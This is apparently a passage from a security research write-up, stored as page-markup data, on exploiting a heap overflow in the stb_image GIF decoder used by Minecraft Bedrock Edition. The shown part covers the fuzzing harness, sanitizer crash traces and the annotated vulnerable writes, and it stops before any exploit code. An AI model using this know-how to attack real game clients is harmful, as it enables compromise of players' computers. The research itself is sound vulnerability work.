aft-4-byte-heap-overflow-to-rce",[146682],{"type":28,"value":146668},{"type":23,"tag":24,"props":146684,"children":146685},{},[146686],{"type":28,"value":146687},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":24,"props":146689,"children":146690},{},[146691],{"type":28,"value":146692},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":61,"props":146694,"children":146696},{"id":146695},"the-target",[146697],{"type":28,"value":146698},"The Target",{"type":23,"tag":24,"props":146700,"children":146701},{},[146702],{"type":28,"value":146703},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":24,"props":146705,"children":146706},{},[146707,146709,146714,146716,146721],{"type":28,"value":146708},"There are two main editions: ",{"type":23,"tag":2532,"props":146710,"children":146711},{},[146712],{"type":28,"value":146713},"Minecraft Java Edition",{"type":28,"value":146715},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":2532,"props":146717,"children":146718},{},[146719],{"type":28,"value":146720},"Minecraft Bedrock Edition",{"type":28,"value":146722},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":24,"props":146724,"children":146725},{},[146726],{"type":28,"value":146727},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":9072,"props":146729,"children":146731},{"id":146730},"choice-of-context",[146732],{"type":28,"value":146733},"Choice of Context",{"type":23,"tag":24,"props":146735,"children":146736},{},[146737],{"type":28,"value":146738},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":24,"props":146740,"children":146741},{},[146742],{"type":28,"value":146743},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":9072,"props":146745,"children":146747},{"id":146746},"resource-packs",[146748],{"type":28,"value":146749},"Resource Packs",{"type":23,"tag":24,"props":146751,"children":146752},{},[146753],{"type":28,"value":146754},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":24,"props":146756,"children":146757},{},[146758],{"type":28,"value":146759},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":24,"props":146761,"children":146762},{},[146763],{"type":28,"value":146764},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":61,"props":146766,"children":146768},{"id":146767},"finding-a-memory-corruption-bug",[146769],{"type":28,"value":146770},"Finding a Memory Corruption Bug",{"type":23,"tag":24,"props":146772,"children":146773},{},[146774],{"type":28,"value":146775},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":24,"props":146777,"children":146778},{},[146779],{"type":28,"value":146780},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":9072,"props":146782,"children":146784},{"id":146783},"locating-image-parsing-code",[146785],{"type":28,"value":146786},"Locating Image Parsing Code",{"type":23,"tag":24,"props":146788,"children":146789},{},[146790,146792,146798,146799,146805],{"type":28,"value":146791},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":92,"props":146793,"children":146795},{"className":146794},[],[146796],{"type":28,"value":146797},"PNG",{"type":28,"value":12601},{"type":23,"tag":92,"props":146800,"children":146802},{"className":146801},[],[146803],{"type":28,"value":146804},"GIF",{"type":28,"value":146806}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":24,"props":146808,"children":146809},{},[146810,146812,146817],{"type":28,"value":146811},"Searching for the string ",{"type":23,"tag":92,"props":146813,"children":146815},{"className":146814},[],[146816],{"type":28,"value":146804},{"type":28,"value":146818}," returned some interesting results:",{"type":23,"tag":24,"props":146820,"children":146821},{},[146822],{"type":23,"tag":1116,"props":146823,"children":146825},{"alt":50084,"src":146824},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":24,"props":146827,"children":146828},{},[146829,146831,146838,146840,146847],{"type":28,"value":146830},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":31,"props":146832,"children":146835},{"href":146833,"rel":146834},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[35],[146836],{"type":28,"value":146837},"stb_image.h",{"type":28,"value":146839},". For an example: usage of ",{"type":23,"tag":31,"props":146841,"children":146844},{"href":146842,"rel":146843},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[35],[146845],{"type":28,"value":146846},"bad Image Descriptor",{"type":28,"value":720},{"type":23,"tag":24,"props":146849,"children":146850},{},[146851,146853,146860],{"type":28,"value":146852},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":31,"props":146854,"children":146857},{"href":146855,"rel":146856},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[35],[146858],{"type":28,"value":146859},"stbi__gif_load_next",{"type":28,"value":146861},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":24,"props":146863,"children":146864},{},[146865],{"type":23,"tag":1116,"props":146866,"children":146868},{"alt":50084,"src":146867},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":9072,"props":146870,"children":146872},{"id":146871},"stb-image-library",[146873],{"type":28,"value":146874},"STB Image Library",{"type":23,"tag":24,"props":146876,"children":146877},{},[146878,146883],{"type":23,"tag":92,"props":146879,"children":146881},{"className":146880},[],[146882],{"type":28,"value":146837},{"type":28,"value":146884}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":24,"props":146886,"children":146887},{},[146888,146890,146895,146897,146904],{"type":28,"value":146889},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":92,"props":146891,"children":146893},{"className":146892},[],[146894],{"type":28,"value":146837},{"type":28,"value":146896}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":31,"props":146898,"children":146901},{"href":146899,"rel":146900},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[35],[146902],{"type":28,"value":146903},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":720},{"type":23,"tag":24,"props":146906,"children":146907},{},[146908],{"type":28,"value":146909},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":18368,"props":146911,"children":146913},{"id":146912},"fuzzing",[146914],{"type":28,"value":146915},"Fuzzing",{"type":23,"tag":24,"props":146917,"children":146918},{},[146919,146921,146928],{"type":28,"value":146920},"The fuzzer consisted of a very simple ",{"type":23,"tag":31,"props":146922,"children":146925},{"href":146923,"rel":146924},"https://github.com/AFLplusplus/AFLplusplus",[35],[146926],{"type":28,"value":146927},"AFL++",{"type":28,"value":26232},{"type":23,"tag":87,"props":146930,"children":146932},{"code":146931,"language":315,"meta":7,"className":15985,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[146933],{"type":23,"tag":92,"props":146934,"children":146935},{"__ignoreMap":7},[146936,146949,146961,146968,147014,147026,147047,147054,147078,147093,147100,147107,147179,147203,147218,147225,147232,147245,147252,147267],{"type":23,"tag":134,"props":146937,"children":146938},{"class":136,"line":137},[146939,146944],{"type":23,"tag":134,"props":146940,"children":146941},{"style":189},[146942],{"type":28,"value":146943},"#define",{"type":23,"tag":134,"props":146945,"children":146946},{"style":264},[146947],{"type":28,"value":146948}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":134,"props":146950,"children":146951},{"class":136,"line":147},[146952,146956],{"type":23,"tag":134,"props":146953,"children":146954},{"style":189},[146955],{"type":28,"value":89927},{"type":23,"tag":134,"props":146957,"children":146958},{"style":1461},[146959],{"type":28,"value":146960}," \"./stb/stb_image.h\"\n",{"type":23,"tag":134,"props":146962,"children":146963},{"class":136,"line":185},[146964],{"type":23,"tag":134,"props":146965,"children":146966},{"emptyLinePlaceholder":15},[146967],{"type":28,"value":865},{"type":23,"tag":134,"props":146969,"children":146970},{"class":136,"line":221},[146971,146975,146979,146983,146987,146992,146996,147001,147005,147010],{"type":23,"tag":134,"props":146972,"children":146973},{"style":151},[146974],{"type":28,"value":18523},{"type":23,"tag":134,"props":146976,"children":146977},{"style":264},[146978],{"type":28,"value":90292},{"type":23,"tag":134,"props":146980,"children":146981},{"style":179},[146982],{"type":28,"value":272},{"type":23,"tag":134,"props":146984,"children":146985},{"style":151},[146986],{"type":28,"value":18523},{"type":23,"tag":134,"props":146988,"children":146989},{"style":162},[146990],{"type":28,"value":146991}," argc",{"type":23,"tag":134,"props":146993,"children":146994},{"style":179},[146995],{"type":28,"value":242},{"type":23,"tag":134,"props":146997,"children":146998},{"style":151},[146999],{"type":28,"value":147000},"char",{"type":23,"tag":134,"props":147002,"children":147003},{"style":168},[147004],{"type":28,"value":89393},{"type":23,"tag":134,"props":147006,"children":147007},{"style":162},[147008],{"type":28,"value":147009},"argv",{"type":23,"tag":134,"props":147011,"children":147012},{"style":179},[147013],{"type":28,"value":14272},{"type":23,"tag":134,"props":147015,"children":147016},{"class":136,"line":332},[147017,147021],{"type":23,"tag":134,"props":147018,"children":147019},{"style":151},[147020],{"type":28,"value":18553},{"type":23,"tag":134,"props":147022,"children":147023},{"style":179},[147024],{"type":28,"value":147025}," x, y, comp;\n",{"type":23,"tag":134,"props":147027,"children":147028},{"class":136,"line":438},[147029,147034,147038,147042],{"type":23,"tag":134,"props":147030,"children":147031},{"style":151},[147032],{"type":28,"value":147033},"    unsigned",{"type":23,"tag":134,"props":147035,"children":147036},{"style":151},[147037],{"type":28,"value":58556},{"type":23,"tag":134,"props":147039,"children":147040},{"style":168},[147041],{"type":28,"value":9281},{"type":23,"tag":134,"props":147043,"children":147044},{"style":179},[147045],{"type":28,"value":147046},"ret;\n",{"type":23,"tag":134,"props":147048,"children":147049},{"class":136,"line":466},[147050],{"type":23,"tag":134,"props":147051,"children":147052},{"emptyLinePlaceholder":15},[147053],{"type":28,"value":865},{"type":23,"tag":134,"props":147055,"children":147056},{"class":136,"line":479},[147057,147061,147066,147070,147074],{"type":23,"tag":134,"props":147058,"children":147059},{"style":189},[147060],{"type":28,"value":11746},{"type":23,"tag":134,"props":147062,"children":147063},{"style":179},[147064],{"type":28,"value":147065}," (argc ",{"type":23,"tag":134,"props":147067,"children":147068},{"style":168},[147069],{"type":28,"value":15158},{"type":23,"tag":134,"props":147071,"children":147072},{"style":205},[147073],{"type":28,"value":7393},{"type":23,"tag":134,"props":147075,"children":147076},{"style":179},[147077],{"type":28,"value":14272},{"type":23,"tag":134,"props":147079,"children":147080},{"class":136,"line":497},[147081,147085,147089],{"type":23,"tag":134,"props":147082,"children":147083},{"style":189},[147084],{"type":28,"value":15214},{"type":23,"tag":134,"props":147086,"children":147087},{"style":205},[147088],{"type":28,"value":1729},{"type":23,"tag":134,"props":147090,"children":147091},{"style":179},[147092],{"type":28,"value":182},{"type":23,"tag":134,"props":147094,"children":147095},{"class":136,"line":518},[147096],{"type":23,"tag":134,"props":147097,"children":147098},{"style":179},[147099],{"type":28,"value":533},{"type":23,"tag":134,"props":147101,"children":147102},{"class":136,"line":527},[147103],{"type":23,"tag":134,"props":147104,"children":147105},{"emptyLinePlaceholder":15},[147106],{"type":28,"value":865},{"type":23,"tag":134,"props":147108,"children":147109},{"class":136,"line":780},[147110,147115,147119,147124,147128,147132,147136,147140,147144,147148,147153,147157,147162,147166,147171,147175],{"type":23,"tag":134,"props":147111,"children":147112},{"style":179},[147113],{"type":28,"value":147114},"    ret ",{"type":23,"tag":134,"props":147116,"children":147117},{"style":168},[147118],{"type":28,"value":257},{"type":23,"tag":134,"props":147120,"children":147121},{"style":264},[147122],{"type":28,"value":147123}," stbi_load",{"type":23,"tag":134,"props":147125,"children":147126},{"style":179},[147127],{"type":28,"value":272},{"type":23,"tag":134,"props":147129,"children":147130},{"style":162},[147131],{"type":28,"value":147009},{"type":23,"tag":134,"props":147133,"children":147134},{"style":179},[147135],{"type":28,"value":924},{"type":23,"tag":134,"props":147137,"children":147138},{"style":205},[147139],{"type":28,"value":1214},{"type":23,"tag":134,"props":147141,"children":147142},{"style":179},[147143],{"type":28,"value":22539},{"type":23,"tag":134,"props":147145,"children":147146},{"style":168},[147147],{"type":28,"value":277},{"type":23,"tag":134,"props":147149,"children":147150},{"style":179},[147151],{"type":28,"value":147152},"x, ",{"type":23,"tag":134,"props":147154,"children":147155},{"style":168},[147156],{"type":28,"value":277},{"type":23,"tag":134,"props":147158,"children":147159},{"style":179},[147160],{"type":28,"value":147161},"y, ",{"type":23,"tag":134,"props":147163,"children":147164},{"style":168},[147165],{"type":28,"value":277},{"type":23,"tag":134,"props":147167,"children":147168},{"style":179},[147169],{"type":28,"value":147170},"comp, ",{"type":23,"tag":134,"props":147172,"children":147173},{"style":205},[147174],{"type":28,"value":1224},{"type":23,"tag":134,"props":147176,"children":147177},{"style":179},[147178],{"type":28,"value":1021},{"type":23,"tag":134,"props":147180,"children":147181},{"class":136,"line":797},[147182,147186,147191,147195,147199],{"type":23,"tag":134,"props":147183,"children":147184},{"style":189},[147185],{"type":28,"value":11746},{"type":23,"tag":134,"props":147187,"children":147188},{"style":179},[147189],{"type":28,"value":147190}," (ret ",{"type":23,"tag":134,"props":147192,"children":147193},{"style":168},[147194],{"type":28,"value":8035},{"type":23,"tag":134,"props":147196,"children":147197},{"style":151},[147198],{"type":28,"value":127282},{"type":23,"tag":134,"props":147200,"children":147201},{"style":179},[147202],{"type":28,"value":14272},{"type":23,"tag":134,"props":147204,"children":147205},{"class":136,"line":814},[147206,147210,147214],{"type":23,"tag":134,"props":147207,"children":147208},{"style":189},[147209],{"type":28,"value":15214},{"type":23,"tag":134,"props":147211,"children":147212},{"style":205},[147213],{"type":28,"value":1729},{"type":23,"tag":134,"props":147215,"children":147216},{"style":179},[147217],{"type":28,"value":182},{"type":23,"tag":134,"props":147219,"children":147220},{"class":136,"line":827},[147221],{"type":23,"tag":134,"props":147222,"children":147223},{"style":179},[147224],{"type":28,"value":533},{"type":23,"tag":134,"props":147226,"children":147227},{"class":136,"line":836},[147228],{"type":23,"tag":134,"props":147229,"children":147230},{"style":179},[147231],{"type":28,"value":61294},{"type":23,"tag":134,"props":147233,"children":147234},{"class":136,"line":859},[147235,147240],{"type":23,"tag":134,"props":147236,"children":147237},{"style":264},[147238],{"type":28,"value":147239},"    stbi_image_free",{"type":23,"tag":134,"props":147241,"children":147242},{"style":179},[147243],{"type":28,"value":147244},"(ret);\n",{"type":23,"tag":134,"props":147246,"children":147247},{"class":136,"line":868},[147248],{"type":23,"tag":134,"props":147249,"children":147250},{"emptyLinePlaceholder":15},[147251],{"type":28,"value":865},{"type":23,"tag":134,"props":147253,"children":147254},{"class":136,"line":877},[147255,147259,147263],{"type":23,"tag":134,"props":147256,"children":147257},{"style":189},[147258],{"type":28,"value":16461},{"type":23,"tag":134,"props":147260,"children":147261},{"style":205},[147262],{"type":28,"value":208},{"type":23,"tag":134,"props":147264,"children":147265},{"style":179},[147266],{"type":28,"value":182},{"type":23,"tag":134,"props":147268,"children":147269},{"class":136,"line":946},[147270],{"type":23,"tag":134,"props":147271,"children":147272},{"style":179},[147273],{"type":28,"value":1098},{"type":23,"tag":24,"props":147275,"children":147276},{},[147277],{"type":28,"value":147278},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":87,"props":147280,"children":147282},{"code":147281},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[147283],{"type":23,"tag":92,"props":147284,"children":147285},{"__ignoreMap":7},[147286],{"type":28,"value":147281},{"type":23,"tag":18368,"props":147288,"children":147290},{"id":147289},"investigating-the-finding",[147291],{"type":28,"value":147292},"Investigating the Finding",{"type":23,"tag":24,"props":147294,"children":147295},{},[147296,147298,147304,147305,147310],{"type":28,"value":147297},"The ASAN output shows that at line ",{"type":23,"tag":92,"props":147299,"children":147301},{"className":147300},[],[147302],{"type":28,"value":147303},"6233",{"type":28,"value":142804},{"type":23,"tag":92,"props":147306,"children":147308},{"className":147307},[],[147309],{"type":28,"value":146837},{"type":28,"value":147311}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":87,"props":147313,"children":147315},{"code":147314,"language":315,"meta":7,"className":15985,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[147316],{"type":23,"tag":92,"props":147317,"children":147318},{"__ignoreMap":7},[147319,147361,147368,147394,147407,147414,147422,147429,147483,147490,147536,147569],{"type":23,"tag":134,"props":147320,"children":147321},{"class":136,"line":137},[147322,147326,147330,147335,147340,147344,147348,147353,147357],{"type":23,"tag":134,"props":147323,"children":147324},{"style":151},[147325],{"type":28,"value":50550},{"type":23,"tag":134,"props":147327,"children":147328},{"style":151},[147329],{"type":28,"value":50555},{"type":23,"tag":134,"props":147331,"children":147332},{"style":264},[147333],{"type":28,"value":147334}," stbi__out_gif_code",{"type":23,"tag":134,"props":147336,"children":147337},{"style":179},[147338],{"type":28,"value":147339},"(stbi__gif ",{"type":23,"tag":134,"props":147341,"children":147342},{"style":168},[147343],{"type":28,"value":1777},{"type":23,"tag":134,"props":147345,"children":147346},{"style":162},[147347],{"type":28,"value":108810},{"type":23,"tag":134,"props":147349,"children":147350},{"style":179},[147351],{"type":28,"value":147352},", stbi__uint16 ",{"type":23,"tag":134,"props":147354,"children":147355},{"style":162},[147356],{"type":28,"value":92},{"type":23,"tag":134,"props":147358,"children":147359},{"style":179},[147360],{"type":28,"value":329},{"type":23,"tag":134,"props":147362,"children":147363},{"class":136,"line":147},[147364],{"type":23,"tag":134,"props":147365,"children":147366},{"style":179},[147367],{"type":28,"value":10346},{"type":23,"tag":134,"props":147369,"children":147370},{"class":136,"line":185},[147371,147376,147380,147385,147389],{"type":23,"tag":134,"props":147372,"children":147373},{"style":179},[147374],{"type":28,"value":147375},"   stbi_uc ",{"type":23,"tag":134,"props":147377,"children":147378},{"style":168},[147379],{"type":28,"value":1777},{"type":23,"tag":134,"props":147381,"children":147382},{"style":179},[147383],{"type":28,"value":147384},"p, ",{"type":23,"tag":134,"props":147386,"children":147387},{"style":168},[147388],{"type":28,"value":1777},{"type":23,"tag":134,"props":147390,"children":147391},{"style":179},[147392],{"type":28,"value":147393},"c;\n",{"type":23,"tag":134,"props":147395,"children":147396},{"class":136,"line":221},[147397,147402],{"type":23,"tag":134,"props":147398,"children":147399},{"style":151},[147400],{"type":28,"value":147401},"   int",{"type":23,"tag":134,"props":147403,"children":147404},{"style":179},[147405],{"type":28,"value":147406}," idx; \n",{"type":23,"tag":134,"props":147408,"children":147409},{"class":136,"line":332},[147410],{"type":23,"tag":134,"props":147411,"children":147412},{"emptyLinePlaceholder":15},[147413],{"type":28,"value":865},{"type":23,"tag":134,"props":147415,"children":147416},{"class":136,"line":438},[147417],{"type":23,"tag":134,"props":147418,"children":147419},{"style":179},[147420],{"type":28,"value":147421},"   [...]\n",{"type":23,"tag":134,"props":147423,"children":147424},{"class":136,"line":466},[147425],{"type":23,"tag":134,"props":147426,"children":147427},{"emptyLinePlaceholder":15},[147428],{"type":28,"value":865},{"type":23,"tag":134,"props":147430,"children":147431},{"class":136,"line":479},[147432,147436,147440,147444,147448,147453,147457,147462,147466,147471,147475,147479],{"type":23,"tag":134,"props":147433,"children":147434},{"style":189},[147435],{"type":28,"value":52150},{"type":23,"tag":134,"props":147437,"children":147438},{"style":179},[147439],{"type":28,"value":232},{"type":23,"tag":134,"props":147441,"children":147442},{"style":162},[147443],{"type":28,"value":108810},{"type":23,"tag":134,"props":147445,"children":147446},{"style":179},[147447],{"type":28,"value":13225},{"type":23,"tag":134,"props":147449,"children":147450},{"style":162},[147451],{"type":28,"value":147452},"cur_y",{"type":23,"tag":134,"props":147454,"children":147455},{"style":168},[147456],{"type":28,"value":7761},{"type":23,"tag":134,"props":147458,"children":147459},{"style":162},[147460],{"type":28,"value":147461}," g",{"type":23,"tag":134,"props":147463,"children":147464},{"style":179},[147465],{"type":28,"value":13225},{"type":23,"tag":134,"props":147467,"children":147468},{"style":162},[147469],{"type":28,"value":147470},"max_y",{"type":23,"tag":134,"props":147472,"children":147473},{"style":179},[147474],{"type":28,"value":252},{"type":23,"tag":134,"props":147476,"children":147477},{"style":189},[147478],{"type":28,"value":47962},{"type":23,"tag":134,"props":147480,"children":147481},{"style":179},[147482],{"type":28,"value":182},{"type":23,"tag":134,"props":147484,"children":147485},{"class":136,"line":497},[147486],{"type":23,"tag":134,"props":147487,"children":147488},{"emptyLinePlaceholder":15},[147489],{"type":28,"value":865},{"type":23,"tag":134,"props":147491,"children":147492},{"class":136,"line":518},[147493,147498,147502,147506,147510,147515,147519,147523,147527,147531],{"type":23,"tag":134,"props":147494,"children":147495},{"style":179},[147496],{"type":28,"value":147497},"   idx ",{"type":23,"tag":134,"props":147499,"children":147500},{"style":168},[147501],{"type":28,"value":257},{"type":23,"tag":134,"props":147503,"children":147504},{"style":162},[147505],{"type":28,"value":147461},{"type":23,"tag":134,"props":147507,"children":147508},{"style":179},[147509],{"type":28,"value":13225},{"type":23,"tag":134,"props":147511,"children":147512},{"style":162},[147513],{"type":28,"value":147514},"cur_x",{"type":23,"tag":134,"props":147516,"children":147517},{"style":168},[147518],{"type":28,"value":8365},{"type":23,"tag":134,"props":147520,"children":147521},{"style":162},[147522],{"type":28,"value":147461},{"type":23,"tag":134,"props":147524,"children":147525},{"style":179},[147526],{"type":28,"value":13225},{"type":23,"tag":134,"props":147528,"children":147529},{"style":162},[147530],{"type":28,"value":147452},{"type":23,"tag":134,"props":147532,"children":147533},{"style":179},[147534],{"type":28,"value":147535},"; \n",{"type":23,"tag":134,"props":147537,"children":147538},{"class":136,"line":527},[147539,147544,147548,147552,147556,147560,147564],{"type":23,"tag":134,"props":147540,"children":147541},{"style":179},[147542],{"type":28,"value":147543},"   p ",{"type":23,"tag":134,"props":147545,"children":147546},{"style":168},[147547],{"type":28,"value":257},{"type":23,"tag":134,"props":147549,"children":147550},{"style":168},[147551],{"type":28,"value":6599},{"type":23,"tag":134,"props":147553,"children":147554},{"style":162},[147555],{"type":28,"value":108810},{"type":23,"tag":134,"props":147557,"children":147558},{"style":179},[147559],{"type":28,"value":13225},{"type":23,"tag":134,"props":147561,"children":147562},{"style":162},[147563],{"type":28,"value":118233},{"type":23,"tag":134,"props":147565,"children":147566},{"style":179},[147567],{"type":28,"value":147568},"[idx];\n",{"type":23,"tag":134,"props":147570,"children":147571},{"class":136,"line":780},[147572,147577,147581,147586,147591,147595,147599,147603,147607,147611,147615],{"type":23,"tag":134,"props":147573,"children":147574},{"style":162},[147575],{"type":28,"value":147576},"   g",{"type":23,"tag":134,"props":147578,"children":147579},{"style":179},[147580],{"type":28,"value":13225},{"type":23,"tag":134,"props":147582,"children":147583},{"style":162},[147584],{"type":28,"value":147585},"history",{"type":23,"tag":134,"props":147587,"children":147588},{"style":179},[147589],{"type":28,"value":147590},"[idx ",{"type":23,"tag":134,"props":147592,"children":147593},{"style":168},[147594],{"type":28,"value":1787},{"type":23,"tag":134,"props":147596,"children":147597},{"style":205},[147598],{"type":28,"value":11212},{"type":23,"tag":134,"props":147600,"children":147601},{"style":179},[147602],{"type":28,"value":8121},{"type":23,"tag":134,"props":147604,"children":147605},{"style":168},[147606],{"type":28,"value":257},{"type":23,"tag":134,"props":147608,"children":147609},{"style":205},[147610],{"type":28,"value":1729},{"type":23,"tag":134,"props":147612,"children":147613},{"style":179},[147614],{"type":28,"value":48579},{"type":23,"tag":134,"props":147616,"children":147617},{"style":141},[147618],{"type":28,"value":147619},"          // OOB write\n",{"type":23,"tag":24,"props":147621,"children":147622},{},[147623,147625,147630,147632,147638,147640,147646],{"type":28,"value":147624},"It’s reasonable to assume ",{"type":23,"tag":92,"props":147626,"children":147628},{"className":147627},[],[147629],{"type":28,"value":76029},{"type":28,"value":147631}," is outside the bounds of ",{"type":23,"tag":92,"props":147633,"children":147635},{"className":147634},[],[147636],{"type":28,"value":147637},"g->history",{"type":28,"value":147639},", which leads to a one-byte OOB write (",{"type":23,"tag":92,"props":147641,"children":147643},{"className":147642},[],[147644],{"type":28,"value":147645},"g->history[idx / 4] = 1",{"type":28,"value":147647},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":24,"props":147649,"children":147650},{},[147651,147653,147658,147660,147666,147668,147673,147675,147681,147683,147689],{"type":28,"value":147652},"Because ",{"type":23,"tag":92,"props":147654,"children":147656},{"className":147655},[],[147657],{"type":28,"value":24},{"type":28,"value":147659}," is computed from ",{"type":23,"tag":92,"props":147661,"children":147663},{"className":147662},[],[147664],{"type":28,"value":147665},"g->out[idx]",{"type":28,"value":147667}," immediately before the violation, we considered whether ",{"type":23,"tag":92,"props":147669,"children":147671},{"className":147670},[],[147672],{"type":28,"value":76029},{"type":28,"value":147674}," could also be OOB for ",{"type":23,"tag":92,"props":147676,"children":147678},{"className":147677},[],[147679],{"type":28,"value":147680},"g->out",{"type":28,"value":147682},". Note that computing the address ",{"type":23,"tag":92,"props":147684,"children":147686},{"className":147685},[],[147687],{"type":28,"value":147688},"&g->out[idx]",{"type":28,"value":147690}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":24,"props":147692,"children":147693},{},[147694,147696,147701],{"type":28,"value":147695},"If we comment out ",{"type":23,"tag":92,"props":147697,"children":147699},{"className":147698},[],[147700],{"type":28,"value":147645},{"type":28,"value":147702}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":87,"props":147704,"children":147706},{"code":147705},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[147707],{"type":23,"tag":92,"props":147708,"children":147709},{"__ignoreMap":7},[147710],{"type":28,"value":147705},{"type":23,"tag":24,"props":147712,"children":147713},{},[147714],{"type":28,"value":147715},"This corresponds to:",{"type":23,"tag":87,"props":147717,"children":147719},{"code":147718,"language":315,"meta":7,"className":15985,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   